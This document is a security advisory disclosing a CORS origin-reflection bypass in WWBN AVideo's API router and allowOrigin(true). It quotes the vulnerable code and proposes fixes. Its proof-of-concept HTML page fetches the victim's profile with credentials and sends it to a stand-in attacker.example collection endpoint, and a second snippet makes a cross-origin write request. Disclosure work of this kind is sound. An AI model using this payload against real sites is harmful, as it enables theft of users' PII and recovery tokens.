WWBN AVideo has a CORS Origin Reflection Bypass via plugin/API/router.php and allowOrigin(true) Exposes Authenticated API Responses

Summary

The CORS origin validation fix in commit 986e64aad is incomplete. Two separate code paths still reflect arbitrary Origin headers with credentials allowed for all /api/* endpoints: (1) plugin/API/router.php lines 4-8 unconditionally reflect any origin before application code runs, and (2) allowOrigin(true) called by get.json.php and set.json.php reflects any origin with Access-Control-Allow-Credentials: true. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data.

Details

Bypass Vector 1: router.php independent CORS handler

plugin/API/router.php:4-8 runs before any application code:

// plugin/API/router.php lines 4-8
$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
if (empty($HTTP_ORIGIN)) {
    header('Access-Control-Allow-Origin: *');
} else {
    header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
}

This reflects any Origin header verbatim. For OPTIONS preflight requests (lines 14-18), the script exits immediately — the fixed allowOrigin() function never executes:

// plugin/API/router.php lines 14-18
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    header("Access-Control-Max-Age: 86400");
    http_response_code(200);
    exit;
}

All /api/* requests are routed through this file via .htaccess rules (lines 131-132).

Bypass Vector 2: allowOrigin($allowAll=true)

Both plugin/API/get.json.php:12 and plugin/API/set.json.php:12 call allowOrigin(true). In objects/functions.php:2773-2790, the $allowAll=true code path reflects any origin with credentials:

// objects/functions.php lines 2773-2777
if ($allowAll) {
    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
    if (!empty($requestOrigin)) {
        header('Access-Control-Allow-Origin: ' . $requestOrigin);
        header('Access-Control-Allow-Credentials: true');
    }

This code path was untouched by commit 986e64aad, which only hardened the default ($allowAll=false) path.

Impact on data exposure

Because the victim's session cookies are sent with credentialed cross-origin requests, User::isLogged() returns true and User::getId() returns the victim's user ID. This means:

• Video listing endpoint (get_api_video): Sensitive user fields (email, isAdmin, etc.) are only stripped for unauthenticated requests (functions.php:1752), so authenticated CORS requests receive the full data.
• User profile endpoint (get_api_user): When $isViewingOwnProfile is true (line 3039), all sensitive fields including email, admin status, recovery tokens, and PII are returned unstripped.

Additional issue: Referer header fallback

router.php line 4 falls back to HTTP_REFERER when HTTP_ORIGIN is absent, injecting an attacker-controlled full URL (not just origin) into the Access-Control-Allow-Origin header. This is non-standard and could cause unexpected behavior.

PoC

Step 1: Host the following HTML on an attacker-controlled domain:

<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Exfiltrate victim's user profile (email, admin status, PII)
fetch('https://target-avideo.example/api/user', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  document.getElementById('result').textContent = JSON.stringify(data, null, 2);
  // Exfiltrate to attacker server
  navigator.sendBeacon('https://attacker.example/collect', JSON.stringify(data));
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>

Step 2: Victim visits attacker page while logged into AVideo.

Step 3: The browser sends the request with victim's session cookies. router.php line 8 reflects the attacker's origin. get.json.php calls allowOrigin(true) which re-sets Access-Control-Allow-Origin to the attacker's origin with Access-Control-Allow-Credentials: true.

Step 4: Browser permits cross-origin reading. Attacker receives the victim's full user profile including email, name, address, phone, admin status, and other PII.

For set endpoints (POST with custom headers requiring preflight):

fetch('https://target-avideo.example/api/SomeSetEndpoint', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({/* parameters */})
});

The preflight OPTIONS is handled by router.php lines 14-18, which reflect the origin and exit — the CORS fix in allowOrigin() never runs.

Impact

• Data theft: Any third-party website can read authenticated API responses for any logged-in AVideo user. This includes user profile data (email, real name, address, phone, admin status), video listings with creator PII, and other session-specific data.
• Account information disclosure: The user profile endpoint returns the full user record including recoverPass (password recovery token), isAdmin status, and all PII fields when accessed as the authenticated user.
• Action on behalf of user: Write endpoints (set.json.php) are equally affected, allowing cross-origin state-changing requests (creating playlists, modifying content, etc.) with the victim's session.
• Bypass of intentional fix: This directly circumvents the CORS hardening in commit 986e64aad.

Recommended Fix

1. Remove the independent CORS handler from router.php and let allowOrigin() handle all CORS logic consistently:

// plugin/API/router.php - REMOVE lines 4-18, replace with:
// CORS is handled by allowOrigin() in get.json.php / set.json.php
// For OPTIONS preflight, we still need to handle it, but through allowOrigin():
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    require_once __DIR__.'/../../videos/configuration.php';
    allowOrigin(false);  // Use the validated CORS handler
    header("Access-Control-Max-Age: 86400");
    http_response_code(204);
    exit;
}

2. Fix allowOrigin($allowAll=true) to validate origins — or stop using it for API endpoints:

// In get.json.php and set.json.php, change:
allowOrigin(true);
// To:
allowOrigin(false);  // Use validated CORS for API endpoints

Keep allowOrigin(true) only for genuinely public endpoints that return no session-sensitive data (VAST/VMAP ad XML).

3. As defense-in-depth, set SameSite=Lax on session cookies to prevent browsers from sending them on cross-origin requests by default.